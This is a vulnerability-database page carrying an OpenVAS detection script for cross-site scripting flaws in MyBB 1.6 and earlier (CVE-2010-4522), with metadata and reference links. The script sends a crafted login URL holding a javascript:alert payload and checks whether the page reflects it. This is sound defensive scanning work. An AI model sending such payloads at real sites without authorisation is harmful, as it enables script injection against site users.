Lucene search
+L

MyBB < 1.6.1 Multiple XSS Vulnerabilities

🗓️ 08 Jan 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 19 Views

MyBB Multiple Cross-Site Scripting Vulnerabilities in MyBB 1.6 and prior allows attackers to inject arbitrary web script or HTML via 'editpost.php', 'member.php', and 'newreply.php'. Upgrade to MyBB version 1.6.1 or later

Related
Refs
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2010-4522
30 Dec 201020:00
cve
cvelist
Cvelist
CVE-2010-4522
30 Dec 201020:00
cvelist
euvd
EUVD
EUVD-2010-4490
7 Oct 202500:30
euvd
nvd
NVD
CVE-2010-4522
30 Dec 201021:00
nvd
prion
Prion
Cross site scripting
30 Dec 201021:00
prion
redhatcve
RedhatCVE
CVE-2010-4522
22 May 202502:08
redhatcve
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:mybb:mybb";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801684");
  script_version("2025-04-30T05:39:51+0000");
  script_tag(name:"last_modification", value:"2025-04-30 05:39:51 +0000 (Wed, 30 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-01-08 10:30:18 +0100 (Sat, 08 Jan 2011)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_cve_id("CVE-2010-4522");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("MyBB < 1.6.1 Multiple XSS Vulnerabilities");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("sw_mybb_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("mybb/http/detected");

  script_tag(name:"summary", value:"MyBB is prone to multiple cross-site scripting (XSS)
  vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaws are caused by improper validation of user-supplied
  input via vectors related to 'editpost.php', 'member.php', and 'newreply.php'.");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to inject arbitrary
  web script or HTML.");

  script_tag(name:"affected", value:"MyBB version 1.6 and prior.");

  script_tag(name:"solution", value:"Update to version 1.6.1 or later.");

  script_xref(name:"URL", value:"http://openwall.com/lists/oss-security/2010/12/22/2");
  script_xref(name:"URL", value:"http://openwall.com/lists/oss-security/2010/12/20/1");
  script_xref(name:"URL", value:"http://blog.mybb.com/2010/12/15/mybb-1-6-1-release-1-4-14-update/");
  script_xref(name:"URL", value:"http://yehg.net/lab/pr0js/advisories/[mybb1.6]_cross_site_scripting");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/member.php?action=login&url=javascript:alert%28/XSS/%29";

if(http_vuln_check(port:port, url:url, pattern:'<input type="hidden" name="url" value="javascript:alert\\(/XSS/\\)" />', check_header:TRUE)) {
  report  = http_report_vuln_url(port:port, url:url);
  report += '\nNote: The XSS is only "triggered" upon a successful login.';
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Apr 2025 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 24.3
EPSS0.01042
19